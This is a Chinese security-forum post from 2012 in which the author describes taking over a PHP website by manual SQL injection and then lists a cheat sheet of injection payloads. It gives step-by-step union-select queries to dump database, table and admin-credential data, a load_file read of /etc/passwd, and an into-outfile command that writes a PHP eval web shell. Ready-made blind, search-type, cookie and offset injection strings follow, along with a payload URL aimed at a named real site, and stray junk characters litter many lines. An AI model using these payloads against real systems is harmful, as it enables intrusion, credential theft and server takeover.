找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2839|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~# z" \! [3 f+ W! H: @( f! n
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?8 B0 L4 D7 g4 K8 n4 B, m
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
+ S8 Y" G0 A2 p如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
* x4 _+ n6 F, s7 e, d( }! j1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)0 C) K% I0 R% g
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
3 C/ E7 v, H8 U: W; I. u7 eWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in" r, |0 E* M2 x( ^6 |
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入  w  q+ b0 N. Q: b) c% N
                         7 n- F" w* z7 U1 n* ^5 N7 _
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
# V6 F- ^) L9 W$ H" H7 D: Y4 a3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意: o( X1 G' c. E" j8 z% E/ G/ y
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息0 l( I. Y" _( i, T* U/ r
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
8 _* r8 n  F+ l% ~: R  z% H有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,5 o5 E9 _7 D# i
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
2 @' s. |( j( |6 G# y我就用的是第二个思路,
* y  I  U) ?  S& c提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  % [4 k  G- n! `% \+ j# e
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段," Y3 L: x8 {4 ^3 |) F- @' b
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--, l3 |" z  P. p9 C5 _
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
6 a  ?7 B3 ~! J/ X+ {; d7 [. Y7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
8 w% [  h5 B9 s9 j& i% H是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....( s7 M- R8 S  ^- x7 d) [4 V1 N" a
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --+ R. C3 U" d; ~' ?
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
' d/ l6 ]  Z: b% p; d调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......; n9 t  j: R# V7 I' j+ ?4 }
下面是一些很普遍注入方式资料:3 F4 t4 M* O( h
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
! z. z" p3 d) Q拆半法* ?1 Z  u9 C" U" w
######################################
6 c3 A' f) [/ O9 R% z. Jand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。7 F* G: S3 k' r! b$ E5 a
and exists (select * from admin)# O( i5 @9 z* A9 X+ \
and exists(select id from admin)
+ A- V+ K) O/ }3 E7 y% D0 qand exists(select id from admin where id=1)
  H/ i6 z& d, j$ |* ]; xand exists(select id from admin where id>1) ( o# ?) s+ M% v
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 $ J) m3 W" t3 s; b
and exists (select username from admin)
1 k9 ~/ B) u. u' z" V0 a) tand exists (select password from admin)
* n" M. w( T( y& A& Dand exists (select id from admin where len(username)<10 and id=1)) g+ q/ v) K- d# T4 V9 j
and exists (select id from admin where len(username)>5 and id=1)
. g/ j+ y* V# Aand exists (select id from admin where len(username)=6 and id=1)$ I) E' s7 W  E' w' B8 C
and exists (select id from admin where len(password)<10 and id=1)/ ~; R, E# _8 @  v
and exists (select id from admin where len(password)>5 and id=1)
0 L) g; h% R4 F, v4 Y0 dand exists (select id from admin where len(password)=7 and id=1)' o8 x) N+ F4 F' g3 G
and (select top 1 asc(mid(username,1,1)) from admin)=97* @; T; k5 U/ ?$ b
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
7 a1 ~  d7 p; ?# I4 X0 W, X3 I猜第二位把username,1,1改成username,2,1就可以了。
1 |+ R9 s9 ^  f8 _3 V1 G: g1 [5 V猜密码把username改成password就OK了
& g% W/ U/ A* T. t/ a##################################################3 T' [+ t! ]/ x( x, U) p/ m
搜索型注入1 d1 `3 t/ M1 n% [
##################################
* G; P! I; v! s3 Z6 W' I%' and 1=1 and '%'='8 h( n) s  y+ s' t! {
%' and exists (select * from admin) and '%'='
* a, v! q9 |" F6 g$ g%' and exists(select id from admin where id=1) and '%'='5 M, ]. K6 W9 U- a' ~7 _4 m7 v
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
, \8 E2 ~& o4 W$ h) H) N5 X%' and exists (select id from admin where len(password)=7 and id=1) and '%'='; k  W7 S8 G9 T6 t* w6 g
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
  v- a* ~  t9 z" r+ a- k这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='& S% o/ V; Y2 m: H- k# b
对于MSSQL数据库,后面可以吧 and '%'='换成--" M$ \. o& R, C
还有一点搜索型注入也可以使用union语句。7 E4 }4 n8 r: S% X1 g
########################################################
, H& u  u8 {6 }* D2 g6 _) S9 j联合查询。
: i4 }5 ]- U  ~  Y#####################################1 ~# ~% J0 m+ B+ }! \! \8 {6 @8 u
order by 10! L' i. V* N) A, T- ?4 c1 I
and 1=2 union select 1,2,3,4,5,6,7,8,9,10" |8 V* I  E' O: X' r1 C; T# V
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin8 m4 D4 t" u, s2 c9 V% `! l+ F
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
; n# _5 @3 ~9 `' w- V6 ?很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
, D5 {7 V' P/ ?, u5 L2 ]) Y###################################
0 Q2 W  \6 r0 u; Ncookie注入# J1 D0 @5 b! p( w4 s
###############################6 O+ a0 n% Y2 y$ p" ~7 `8 a
http://www.******.com/shownews.asp?id=127
; c0 D7 _" ^7 Q5 V" fhttp://www.******.com/shownews.asp5 u3 |5 q5 ]$ j3 \
alert(="id="+escape("127"));2 Q" F- I* H. n3 x) `  E- y+ |6 h8 n
alert(="id="+escape("127 and 1=1"));
0 O  e! h+ `- |alert(="id="+escape("127 order by 10"));
4 t+ k$ t( j) O% K9 T* Walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
: @5 L* s5 \( r1 I8 D, d7 x' ~7 Walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));2 S2 [9 J' w( Q& `0 a
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。" Z" d* ?0 e9 o; f
###################################6 @7 t9 M0 D3 s$ H% K* }6 b) I  T
偏移注入* P0 D+ ?8 ]7 L9 W9 ~* U+ y
###########################################################5 ]# e4 k9 D0 W5 t: e4 D
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
* p3 I* z" V4 p2 b. B0 n6 Nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
& p4 ]  D% O& K# ]& I) C  t$ funion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
5 b; l( Q- O( {3 j. P* d# V( V, Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
+ b6 ~# q  y, s, E( |, Q" i1 }: }union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
" S3 Z  n2 g, v3 m8 p& Eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
1 R: k1 I& k& Q' h9 Hunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on6 v- d2 q4 z" {0 l; D$ b
a.id=d.id)' K- l  r9 W8 i8 R$ l
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)) X5 C& G9 N1 s0 ~
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) & ]0 W% e8 C7 `2 r
  
( p  K  c) H: R+ T; p============================================================================================================
7 S; L& X+ n" C1 i1.判断版本$ L/ f, V7 p4 t! {: c' M& t
and ord(mid(version(),1,1))>51
3 ?6 Q& n: {8 ~& Y$ R* E9 {+ \返回正常,说明大于4.0版本,支持ounion查询7 m9 A' l6 l) U+ ^) w: ]
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解  I4 o' @! j; S2 j6 w
and 2=4 union select 1,2,3,4,5,6,7,8,9--
5 a2 L3 n0 h7 }4 m' W2 u4 A3.查看数据库版本及当前用户,/ u5 r* |; W, `( @
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
8 ]6 p) x* L; s: j9 N数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
: j- M  C+ E* K) R4.判断有没有写权限% T9 Z9 x4 |0 E4 w8 ~  {9 p
and (select count(*) from MySQL.user)>0-- / }/ t4 A- H  _+ y9 d- Q5 p& U
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
. l" J, {/ K" i用不了这个命令,就学习土耳其黑客手法,如下% N& h. H2 q4 _; _3 i0 w/ M
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--8 A6 T) D3 s7 C) V, ]1 @9 u# ]9 m
6.爆表,爆库
' k- l/ O- C# S5 p$ K9 G% Wand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
, j- C. e4 F# ?6 w7.爆列名,爆表
% Y6 x3 I2 K# q: K  land+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
) }5 C, _/ O. ]! M8.查询字段数,直接用limit N,1去查询,直接N到报错为止。& M6 |4 ~3 R. }& t* N
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--. \' V8 G! k+ R# \% d# X
9.爆字段内容) q" I# q4 a* f0 u" U0 z/ D
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--+ E+ ^4 |" F" D, H
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表